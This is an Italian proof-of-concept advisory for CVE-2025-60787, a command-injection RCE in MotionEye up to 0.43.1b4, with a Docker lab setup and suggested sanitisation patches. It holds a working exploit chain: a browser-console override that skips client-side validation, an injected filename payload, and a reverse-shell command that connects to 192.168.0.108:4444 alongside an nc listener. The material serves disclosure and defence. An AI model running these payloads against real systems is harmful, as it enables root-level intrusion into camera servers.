
Proof-of-concept per CVE-2025-60787, che dimostra l'esecuzione remota di codice in MotionEye <= 0.43.1b4 tramite bypass della validazione lato client e injection di comandi nel nome del file immagine.
CVE-2025-60787 Poc - RCE - MotionEye <= 0.43.1b4
Link originale: https://github.com/prabhatverma47/motionEye-RCE-through-config-parameter
Durante il test di sicurezza di un'istanza MotionEye in esecuzione in Docker, è stato osservato che la validazione lato client all'interno dell'interfaccia web può essere bypassata. Ciò consente di inviare input arbitrari, inclusi payload che possono innescare l'esecuzione sul container host. Il problema comporta un rischio di esecuzione remota di codice (RCE) se sfruttato.
Versioni interessate: tutte le versioni fino alla 0.43.1b4 inclusa
Stato della patch: nessuna patch disponibile al momento. In questo advisory viene fornita una soluzione alternativa.
Riferimento progetto: https://github.com/motioneye-project/motioneye
CWE: CWE-20, CWE-78, CWE-116
CVSS: 3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
CVSS: 7.2/10
ghcr.io/motioneye-project/motioneye:edge9999 mappata sulla 8765 del containeradmin / password vuota (predefinita)Eseguire il seguente comando per avviare il download dell'immagine Docker e avviare il container
docker run -d --name motioneye -p 9999:8765 ghcr.io/motioneye-project/motioneye:edge

docker logs motioneye | grep "motionEye server"
Risultato: server MotionEye 0.43.1b4

Una volta che il container Docker è in esecuzione, è possibile accedere alla shell del container utilizzando i seguenti comandi
docker exec -it motioneye /bin/bash
ls -la /tmp

Accedere all'interfaccia web all'indirizzo:
http://127.0.0.1:9999
Login: admin (password vuota)
Aggiunta di una telecamera di rete RTSP di esempio.

È stato inserito un comando di esecuzione dannosa nel campo "Immagini fisse" > "Nome file immagine", ma è stato riscontrato un errore di validazione lato client.
$(touch /tmp/test).%Y-%m-%d-%H-%M-%S
Bloccato dalla validazione lato client.


Lo script responsabile della validazione è: /static/js/main.js?v=0.43.1b4, che fa riferimento a /static/js/ui.js?v=0.43.1b4 per implementare le condizioni di validazione.
File: /static/js/main.js?v=0.43.1b4 che fa riferimento a /static/js/ui.js?v=0.43.1b4
function configUiValid() {
$('div.settings').find('.validator').each(function () { this.validate(); });
var valid = true;
$('div.settings input, select').each(function () {
if (this.invalid) { valid = false; return false; }
});
return valid;
}
Sovrascrivendo la funzione configUiValid nella console del browser, tutti i controlli di validazione possono essere bypassati: inserire il seguente frammento nella console del browser (F12 o Ctrl+Shift+I)
configUiValid = function() {
return true;
};

Ora il payload può essere inserito direttamente senza alcuna validazione: impostare come segue e applicare le impostazioni
Impostazioni:
$(touch /tmp/test).%Y-%m-%d-%H-%M-%S

Applicato → File creato con permessi di root.

produzione di una semplice reverse shell:
Listener:
nc -lvnp 4444

Payload iniettato:
$(python3 -c "import os;os.system('bash -c \"bash -i >& /dev/tcp/192.168.0.108/4444 0>&1\"')").%Y-%m-%d-%H-%M-%S

Risultato: ottenuta shell remota.
MotionEye è vulnerabile perché prende l'input dell'utente dalla dashboard web e lo scrive direttamente nei file di configurazione di Motion senza verificare la presenza di caratteri pericolosi. Ad esempio, il campo image_file_name nell'interfaccia utente viene inviato al backend (config.py) e salvato in /etc/motioneye/camera-.conf. Quando MotionEye riavvia il servizio Motion (motionctl.start), il processo Motion legge questo file di configurazione. Se il campo picture_filename contiene sintassi di shell come $(touch /tmp/test), Motion lo eseguirà come un comando reale invece di trattarlo come parte del nome del file.
Input non sanificato scritto nei file di configurazione di Motion:
Dashboard JS → ConfigHandler.set_config() → camera-1.conf → motionctl.restart() → motion analizza picture_filename → esegue il payload
File: /usr/local/lib/python3.13/dist-packages/motioneye/config.py
def sanitize_filename(value):
# consente solo lettere, numeri, %, _, -, /, .
for ch in value:
if not (ch.isalnum() or ch in "%-_/."):
return "%Y-%m-%d/%H-%M-%S" # fallback sicuro
return value

Applicare la sanificazione:
data['picture_filename'] = sanitize_filename(ui['image_file_name'])
data['snapshot_filename'] = sanitize_filename(ui['image_file_name'])
prima:
dopo:

docker run -d --name motioneye -p 9999:8765 ghcr.io/motioneye-project/motioneye:edge
docker exec -it motioneye /bin/bash
docker cp motioneye:/usr/local/lib/python3.13/dist-packages/motioneye/config.py ./config.py
docker cp ./Mconfig.py motioneye:/usr/local/lib/python3.13/dist-packages/motioneye/config.py
Originale:
on_event_start = [f"{meyectl.find_command('relayevent')} start %t"]
on_event_end = [f"{meyectl.find_command('relayevent')} stop %t"]
on_movie_end = [f"{meyectl.find_command('relayevent')} movie_end %t %f"]
on_picture_save = [f"{meyectl.find_command('relayevent')} picture_save %t %f"]
Sostituire con:
import re
on_event_start = [f"{meyectl.find_command('relayevent')} start '{re.sub(r'[;&|$`()<>\"\\' ]', '', '%t')}'"]
on_event_end = [f"{meyectl.find_command('relayevent')} stop '{re.sub(r'[;&|$`()<>\"\\' ]', '', '%t')}'"]
on_movie_end = [f"{meyectl.find_command('relayevent')} movie_end '{re.sub(r'[;&|$`()<>\"\\' ]', '', '%t')}' '{re.sub(r'[;&|$`()<>\"\\' ]', '', '%f')}'"]
on_picture_save = [f"{meyectl.find_command('relayevent')} picture_save '{re.sub(r'[;&|$`()<>\"\\' ]', '', '%t')}' '{re.sub(r'[;&|$`()<>\"\\' ]', '', '%f')}'"]

docker restart motioneye

All'interno di motion_camera_ui_to_dict(...):
Originale:
data['picture_filename'] = ui['image_file_name']
data['snapshot_filename'] = ui['image_file_name']
Sostituire con:
from re import sub
data['picture_filename'] = (sub(r'[^A-Za-z0-9._%/-]', '_', ui['image_file_name']).lstrip('/') or '%Y-%m-%d/%H-%M-%S')
data['snapshot_filename'] = (sub(r'[^A-Za-z0-9._%/-]', '_', ui['image_file_name']).lstrip('/') or '%Y-%m-%d/%H-%M-%S')